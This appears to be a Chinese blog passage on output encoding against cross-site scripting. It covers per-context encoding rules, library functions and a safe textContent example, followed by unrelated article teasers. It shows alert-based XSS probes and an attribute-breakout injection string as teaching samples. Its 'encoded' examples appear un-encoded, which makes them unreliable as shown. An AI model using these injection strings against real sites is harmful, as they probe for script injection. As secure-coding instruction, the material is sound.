HTML 属性 | < , > , & , " , ' ,空格 | 同上,一般使用双引号包裹属性,转义内引号 |
JavaScript | " , ' , \ , / , 换行符等 | 使用反斜杠转义,或 JSON 编码 |
URL 参数 | 非字母数字字符 | URL 编码,如 %20 代表空格 |
CSS 内容 | " 、' 、\ 、换行符等 | 使用反斜杠转义 |
2. 常见的输出编码示例
1)HTML 内容编码
假设用户输入:
<script>alert('XSS')</script>
未经编码直接输出:
<div>用户评论:<script>alert('XSS')</script></div>
浏览器会执行 <script>
脚本,导致 XSS。
经过输出编码:
<div>用户评论:<script>alert('XSS')</script></div>
浏览器只显示文字,不执行脚本。
2)HTML 属性编码
用户输入:
" onmouseover="alert(1)
输出在属性中:
<input value="用户输入内容">
如果不编码,变成:
<input value="" onmouseover="alert(1)">
会触发事件。
编码后:
<input value="" onmouseover="alert(1)">
浏览器显示成文本。
3)JavaScript 编码
当用户输入被放入 JavaScript 代码字符串时:
var name = '用户输入';
如果用户输入含 '
,会导致代码结构被破坏。
编码示例:
-
使用 JSON 序列化或转义
'
、"
、\
等字符
4)URL 编码
用户输入放到 URL 参数时:
https://example.com/search?q=用户输入
需要编码成:
https://example.com/search?q=%E7%94%A8%E6%88%B7%E8%BE%93%E5%85%A5
避免特殊字符破坏 URL 结构或注入。
3. 常用输出编码函数
编程语言/环境 | 函数/库 | 说明 |
---|---|---|
JavaScript | textContent (DOM),encodeURIComponent | 安全插入文本内容,URL编码 |
Python | html.escape() | 转义 HTML 特殊字符 |
Java (JSP) | StringEscapeUtils.escapeHtml4() | 转义 HTML |
PHP | htmlspecialchars() | 转义 HTML |
Node.js | he (HTML entities)库 | 转义和解码 HTML 实体 |
4. 示例
用 JavaScript 动态设置文本内容的安全写法
const userInput = "<script>alert('XSS')</script>";
const div = document.getElementById('comment');// 直接插入 innerHTML(危险)
// div.innerHTML = userInput; // 会执行脚本// 使用 textContent(安全)
div.textContent = userInput; // 会原样显示字符串,不执行
5. 总结输出编码原则
-
永远对所有用户输入进行上下文相关的输出编码。
-
不同的输出位置用不同编码方法,不能统一用 HTML 编码。
-
输出编码和输入过滤结合使用,安全更可靠。
-
使用成熟库实现编码,不自己手写简单替换,避免遗漏和漏洞。
相关文章:
关于 Web 漏洞原理与利用:2. XSS(跨站脚本攻击)
一、原理: 用户输入未过滤被执行 攻击者输入的内容,如果没有被正确处理(过滤/转义),被网页原样输出到浏览器中,那么这些内容就可能会被浏览器当成代码执行,这就是 XSS(跨站脚本攻击…...
【TTS回顾】深度剖析 TTS 合成效果的客观评估与主观评价
如何评估合成音色的效果 当我们面对一个新发布的 TTS 模型,或者在多个模型之间进行选择时,一个核心问题摆在我们面前:如何科学、全面地评估一个 TTS 模型的合成效果? 仅仅凭感觉“听一听”显然不够客观和系统。我们需要一套行之有效的评估方法和指标体系,来衡量 AI “说话…...
WPF点击按钮弹出一个窗口
一、基本方法:直接实例化并显示窗口 1. 普通窗口(无参数) 适用场景:简单的弹出窗口,无需传递数据。 private void Button_Click(object sender, RoutedEventArgs e) { var newWindow new MyWindow(); // 实例化…...
WPF中的ObjectDataProvider:用于数据绑定的数据源之一
ObjectDataProvider是WPF(Windows Presentation Foundation)中一种强大而灵活的数据绑定源,它允许我们将对象实例、方法结果甚至是构造函数的返回值用作数据源。通过本文,我将深入探讨ObjectDataProvider的工作原理、使用场景以及如何在实际应用中发挥其…...
Java POJO接收前端null值设置
在 Java 中,若要让 price 字段接收前端传递的 null 值,只需确保以下几点: 1. 使用包装类型 Double 你的 price 字段已经是包装类型 Double(而不是基本类型 double),这天然支持 null 值。基本类型 double …...
C++(24):容器类<list>
目录 一、核心概念 二、基本语法 1. 声明与初始化 2.添加元素 3.访问与遍历 4. 删除元素 三、特点 1. 高效插入/删除 2. 不支持随机访问 3. 特有成员函数 4. 内存与性能 四、示例代码 五、成员函数 六、使用场景 七、注意事项 Lists将元素按顺序储…...
WPF Data Binding 及经典应用示例
什么是Data Binding(数据绑定)? Data Binding是WPF中的核心机制,它建立了UI元素(视图)与数据对象(模型/视图模型)之间的连接通道,实现了数据的自动同步。当数据发生变化…...
Qt—模态与非模态对话框
Qt—模态与非模态对话框 核心概念 模态对话框:强制用户优先处理当前窗口,阻塞指定范围的用户交互。非模态对话框:允许用户自由切换窗口,无交互限制。 一、模态对话框类型与行为 1. 应用级模态(Applica…...
如何实现从网页一键启动你的 Electron 桌面应用(zxjapp://)
在现代桌面应用开发中,Electron 凭借其跨平台能力和前端友好的特性,受到了越来越多开发者的青睐。但你是否想过,如何让用户从网页上一键启动你本地的 Electron 应用?比如像某些云盘客户端那样,点击网页上的按钮就能直接…...
linux编译安装srs
下载编译运行 git clone https://github.com/ossrs/srs.git cd srs/trunk ./configure --h265on make需要安装 yum install -y patch yum install -y unzip yum install -y tcl编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/s…...
对于程序员的个人理解
系统架构师 1.下图是应该具备的能力,而且看前辈的资料中,发现干的时间越多就越全能。 2.对于新技术来说应该让其先沉淀三年左右看他是不是能打,同时可以避免其大规模的改动。 3.要有宏观视野 【要看自己所开发的东西是不是可以随时调用&am…...
Web安全基础
文章目录 前端基础浏览器工作原理HTTP超文本传输协议cookiesessiontoken web服务器USBWebServerNginx介绍 前端三大件html超文本标记语言CSS层叠样式表JavaScript基本语法php基本语法 攻击手段文件上传漏洞文件包含漏洞代码执行漏洞变量修改shell监听SQL注入跨站脚本XSSXSS示例…...
从秒开到丝滑体验!WebAssembly助力ZKmall商城重构 B2B2C 商城性能基线
在 B2B2C 电商领域,用户对页面加载速度与交互流畅度的要求日益严苛。传统 Web 技术在处理复杂业务逻辑、海量数据渲染时,常出现卡顿、延迟等问题,导致用户流失。ZKmall 商城创新性地引入 WebAssembly(简称 Wasm)技术&a…...
word文档交叉引用
参考视频 论文排版中参考文献的引用方法:交叉引用法_哔哩哔哩_bilibili 具体操作 定义编号格式 进入开始页面,重新定义编号格式. 碰到的问题 出现了一个大大的空格,不知道是什么情况,想把编号和参考文献紧贴在一起。 调整列…...
项目QT+ffmpeg+rtsp(三)——延迟巨低的项目+双屏显示
文章目录 前言双屏显示widget.cppwidget.h前言 对于复现情况,分为两种情况 第一种,对于我而言,是直接解压后,就能直接运行了 第二种,对于师兄而言,需要你构建debug后,会产生这个文件夹,执行的时候,地址应该在这,我猜的,这里面没有dll,exe程序就找不到dll这些库,你…...
二分交互题总结
简单版 bool query(int x){cout<<x<<endl;cout.flush();string ans;cin>>ans;return (ans">"); } void solve() {int n;cin>>n;int l1,rn;if(n1)return cout<<"! 1"<<endl,void();if(n2){if(query(2))return cout&…...
昆仑通态MCGSpro,自定义配方功能
最近在做一个机床的控制系统,是用来打磨轴承滚子的,用到了昆仑通态触摸屏,西门子1200,以及1个台达变频器,五个私服电机。大致就是下面这个设备。 对于西门子1200运动控制的相关内容,以及调试过程中遇到的坑…...
工业视觉高精度测量利器——Halcon卡尺工具深度解析
Halcon中的卡尺工具(Caliper Tool)是工业视觉中用于高精度边缘检测和几何测量的重要功能,尤其在尺寸测量、定位和对象分析中广泛应用。以下从原理、实现到优化的深度解析: 1. 卡尺工具实现原理(步骤分解)…...
2025毕业论文与答辩资料精选汇总
毕业季来临,对于即将毕业的大学生来说,毕业论文和答辩无疑是毕业季的“重头戏”。尤其是对于IT行业的学生来说,毕业论文不仅需要扎实的专业知识,还需要良好的表达能力和清晰的逻辑思维。今天,我为大家整理了一份涵盖IT…...
「数智化聚合分销生态系统」定制开发:重构全渠道增长引擎
在数字经济深度重构全球商业格局的时代,企业亟需突破传统分销体系的效能边界,构建具有核心竞争力的现代化营销网络。我们以行业前沿技术为驱动,提供全栈式聚合分销系统定制开发服务,通过深度融合数字化、智能化解决方案࿰…...
【物联网】 ubantu20.04 搭建L2TP服务器
部署篇 序言 为了是两个客户端在同一个网络内,需要找一台服务器,搭建一个L2TP服务器,通过L2TP使两个客户端在同一个网络内,为什么要搭建,主要是解决例如员工出差后,还需要连接公司内网资源的问题,本文主要…...
std::ranges::iota
std::ranges::iota_view 和 std::views::iota 是 C23 Ranges 库中的一部分,用于生成一系列递增的值,类似 Python 的 range() 或传统的 for 循环生成器。 一 原形 Defined in header <numeric> Call signature template< std::input_or_output…...
物联网简介:万物互联的未来图景
物联网简介:万物互联的未来图景 引言 在科技飞速发展的今天,我们身边的一切似乎都在悄然发生变化。从清晨智能闹钟根据你的睡眠状态自动唤醒,到厨房里的咖啡机在你起床前已经煮好咖啡;从城市交通系统通过实时数据优化红绿灯时长…...
Python类方法解析:从字节序列重构Vector2d实例
这篇文章将详细解析Python中的classmethod装饰器,并通过一个实际案例——为Vector2d类实现frombytes方法,展示如何从字节序列重构对象实例。 类方法基础 classmethod是Python中一个重要的装饰器,它用于定义类方法。与普通实例方法不同&…...
list.forEach(s -> countService.refreshArticleStatisticInfo(s.getId())); 讲解一下语法
这段代码使用了Java中的forEach方法结合Lambda表达式来遍历一个列表,并对列表中的每个元素执行特定操作。具体来说,它会遍历列表中的每一个元素,并调用countService.refreshArticleStatisticInfo(s.getId())方法来刷新每个文章的统计信息。下…...
linux服务器与时间服务器同步时间
内网部署服务器,需要同步时间 使用系统内置的systemctl-timesyncd进行时间同步 1.编辑配置文件 sudo nano /etc/systemd/timesyncd.conf修改添加内容入下 [Time] NTP10.100.13.198 FallbackNTP#说明 #NTP10.100.13.198:你的主 NTP 时间服务器 IP #Fall…...
通过低功耗蓝牙通信实例讲透 MCU 各个定时器
📖 在嵌入式开发中,“定时器”几乎无处不在。但大多数人一说起定时器,要么只会 HAL_Delay(),要么搞不清楚硬件、虚拟、协议定时器到底有啥区别。 今天我们不讲纯理论,而是直接通过一个完整的 BLE 通信实例,带你一次性搞清楚 MCU 各类定时器的真实用途和工作机制。 📚…...
Spring_Boot(一)Hello spring boot!
新建项目加入 spring_web 依赖,生成如下 pom.xml文件,即为代码配置。 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XML…...
MySQL故障排查与生产环境优化
目录 一、前置知识点:MySQL 逻辑架构解析 (一)客户端和连接服务层(最上层) (二)核心服务层(第二层) (三)存储引擎层 (四…...
mysql故障排查与环境优化
一、mysql运行原理 mysql的运行分为三层 客户端和连接服务 核心服务功能(sql接口、缓存的查询、sql的分析和优化以及部分内置函数的执行等。) 存储引擎层(负责mysql中数据的存储和提取。) 二、示例 1、实验环…...
博图1200硬件组态与启保停程序编写步骤详解
一、前言 在工业自动化控制领域,西门子S7-1200 PLC因其性能稳定、编程灵活而广受欢迎。本文将详细介绍使用TIA Portal(博图)软件进行S7-1200 PLC硬件组态以及编写基本启保停程序的完整步骤,帮助初学者快速掌握这一基础而重要的技…...
深入解析Java微服务架构:Spring Boot与Spring Cloud的整合实践
深入解析Java微服务架构:Spring Boot与Spring Cloud的整合实践 引言 随着云计算和分布式系统的快速发展,微服务架构已成为现代软件开发的主流模式。Java作为企业级应用开发的核心语言,结合Spring Boot和Spring Cloud的强大生态,…...
AM32电调学习解读九:ESC上电启动关闭全流程波形分析
这是第九篇,前面的文章把各个模块的实现都介绍了一轮,本章是从运行的角度结合波形图,把整个流程走一遍。 先看下一运行的配置,我把一些配置关闭了,这样跑起来会好分析一些,不同配置跑起来效果会有差异。使用…...
迅联文库开发日志(三)登陆注册
目录 一、注册 Controller层 Service层 二、登录 其他需要注意的: 需要实现 Serializable 的场景 一、注册 先思考我们需要哪些参数: 邮箱、昵称、密码、邮箱验证码 (图片验证码会调用checkCode()验证) Controller层 Req…...
Oracle 数据库的默认隔离级别
Oracle 数据库的默认隔离级别 默认隔离级别:READ COMMITTED Oracle 默认使用 读已提交(READ COMMITTED) 隔离级别,这是大多数OLTP(在线事务处理)系统的标准选择。 官方文档 https://docs.oracle.com/en/database/oracle/oracle-database/19/cncpt/da…...
PDF 合并测试:性能与内容完整性
我们一直在改进 PDF 合并工具 JPedal,并希望通过测试对比其与其他工具的表现。该工具支持合并包括大文件在内的完整文档。 如何测试 PDF 合并输出 我们在示例文件上进行了对比测试,您也可以用自有文件复现。 测试中使用的方法之一是借助 Adobe Reader&a…...
白杨SEO:不到7天,白杨SEO博客网站百度搜索显示和排名恢复正常!顺带说说上海线下GEO聚会分享和播客红利
大家好,我是白杨SEO,专注SEO十年以上,全网SEO流量实战派,AI搜索优化研究者。 5月开始,明显就忙起来了,不管是个人陪跑还是企业顾问,不管是需要传统SEO还是新媒体流量,还是当下这个A…...
docker介绍与常用命令汇总
docker简介 docker是什么? Docker 是一个开源的应用容器引擎,它可以让开发者将应用与运行环境打包成一个标准的、可移植的容器(Container),在任何地方都可以快速部署和运行,无需关心底层环境是否一致。 …...
Axure设计数字乡村可视化大屏:构建乡村数据全景图
今天,让我们一同深入了解由Axure设计的数字乡村可视化大屏,看看它如何通过精心的布局和多样化的图表类型,将乡村的各类数据以直观、易懂的方式呈现出来,为乡村管理者提供有力的数据支持。 原型效果预览链接:Axure数字乡…...
c#基础01(.Net介绍)
文章目录 .Net平台介绍.Net平台简介跨平台开源.Net Core.Net Framework开发工具安装选项 创建项目 .Net平台介绍 .Net平台简介 .NET是一种用于构建多种应用的免费开源开放平台,例如: Web 应用、Web API 和微服务 云中的无服务器函数 云原生应用 移动…...
GraphQL在.NET 8中的全面实践指南
一、GraphQL与.NET 8概述 GraphQL是一种由Facebook开发的API查询语言,它提供了一种更高效、更灵活的替代REST的方案。与REST不同,GraphQL允许客户端精确指定需要的数据结构和字段,避免了"过度获取"或"不足获取"的问题。…...
开源音视频转文字工具:基于 Vosk 和 Whisper 的多语言语音识别项目
背景介绍 随着短视频、播客等音视频内容的爆发式增长,快速将音视频内容转换为文字的需求也越来越大。无论是内容创作者需要的字幕,还是企业需要的会议记录,都需要一个可靠的语音转文字解决方案。 技术架构 本项目采用双引擎架构࿰…...
Playwright 多语言一体化——Python_Java_.NET 全栈采集实战
在现代 Web 自动化领域,Playwright 通过其多语言支持可在 Python、Java 及 .NET 三大生态中共享同一底层实现,简化了跨团队协作与维护成本 。然而,若忽略代理IP等必要配置,很容易导致功能异常或被目标网站限制,本文将以…...
【Linux网络】传输层协议UDP
🌈个人主页:秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343 🔥 系列专栏:https://blog.csdn.net/qinjh_/category_12891150.html 目录 传输层 再谈端口号 端口号范围划分 认识知名端口号(Well-Know Port Number…...
VAPO:视觉-语言对齐预训练(对象级语义)详解
简介 多模态预训练模型(Vision-Language Pre-training, VLP)近年来取得了飞跃发展。在视觉-语言模型中,模型需要同时理解图像和文本,这要求模型学习二者之间的语义对应关系。早期方法如 VisualBERT、LXMERT 等往往使用预先提取的图像区域特征和文本词嵌入拼接输入,通过 T…...
自制操作系统day4(c指针)(指针和数组)(CLI和STI)(EFLAGS)
day4 关于c指针的理解(结合汇编) int i; char *p; p(char *) i; *pi &0x0f;p(char *) i; *pi &0x0f;MOV ECX,i MOV BYTE [ECX],(i &0x0f) 如果一开始不给p赋值,p的内存地址不确定,也就是这个ECX里的值不确定&#x…...
计算机视觉与深度学习 | Python实现ARIMA-WOA-CNN-LSTM时间序列预测(完整源码和数据
以下是一个结合ARIMA、鲸鱼优化算法(WOA)、CNN和LSTM进行时间序列预测的Python实现框架。由于完整代码和数据量较大,此处提供核心代码结构和示例数据集,您可根据需求扩展。 1. 数据准备(示例数据) 使用airline-passengers.csv(航空乘客数据集): import pandas as pd…...
SCGI 服务器详解
1 协议与报文格式 项目说明连接类型长连接,单条 TCP/UnixSocket 可传多请求;由前端(Nginx 等)维护 keep-alive。报文分段"<len>:" <header netstring> "," <body><len> 计数10 进…...
Linux问题排查-找到偷偷写文件的进程
在 Linux 系统中,若要通过已修改的文件找到修改该文件的进程 PID,可以结合以下方法分析,具体取决于文件是否仍被进程打开或已被删除但句柄仍存在: 一、文件仍被进程打开(未删除) 如果文件当前正在被某个进…...
Linux的权限问题
引入:权限的意义是什么? 权限就是为了让人能做某些事或不能做某些事 一:Linux下的用户种类 Linux下只有两种用户:root 和 普通用户 root:拥有至高无上的权限,任何的权限都不能限制root 普通用户…...